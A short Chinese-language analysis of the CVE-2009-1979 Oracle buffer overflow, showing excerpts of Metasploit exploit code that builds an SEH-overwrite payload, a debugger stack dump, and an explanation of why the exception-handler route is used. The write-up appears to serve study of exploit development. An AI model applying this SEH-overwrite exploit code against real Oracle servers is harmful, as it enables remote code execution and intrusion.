CVE-2009-1979

Step

渗透利用代码改动

  # System: Windows 2003 en;
  # Line: 215;
  # https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
  sploit = payload.encoded
  sploit << rand_text_alphanumeric(0x19a - 0x17e + 0x10)
  sploit << generate_seh_record(mytarget.ret)
  distance = payload_space + 8 + 5 + 0x20
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

  # Line: 221
  # ensure bad ptr is derefed
  value = rand(0x3fffffff) | 0xc0000000
  sploit[0x17e + 0x10,4] = [value].pack('V')

二进制分析

_intelfastmemcpy:

CPU Stack
Address     Value     Comments
09A1D03C    01010ED2  ; RETURN from ORACLE.02610928 to ORACLE.01010ED2
09A1D040    09A1DA96
09A1D044    08D199A4
09A1D048    000001B7
09A1D04C    09E38F40
09A1D050    09A1D06C
09A1D054    0043ACD8  ; RETURN from ORACLE.0046AFD4 to ORACLE.0043ACD8
...

当前函数的返回地址为 [0x09A1D03C]=0x01010ED2 ,之后是其他一些函数的返回地址,而字符串复制目的地址是 0x09A1DA96 ,由于栈的增长方向是从高地址向低地址,所以覆盖字符串地址远低于这些函数的返回地址所在位置,而更靠近栈底。所以无法通过覆盖当前函数的返回地址来利用该漏洞。

利用此漏洞时,复制字符串不但覆盖了第一个异常处理结构的异常处理函数,还覆盖了程序使用的一些局部变量,导致后面内存访问读取的是未分配的内存而出现异常,以此触发异常处理程序执行。

221 行的代码是为了确保异常必然触发, sploit 这 4 字节的值覆盖 [local.11]+8 处的内存。

湘ICP备19014083号-1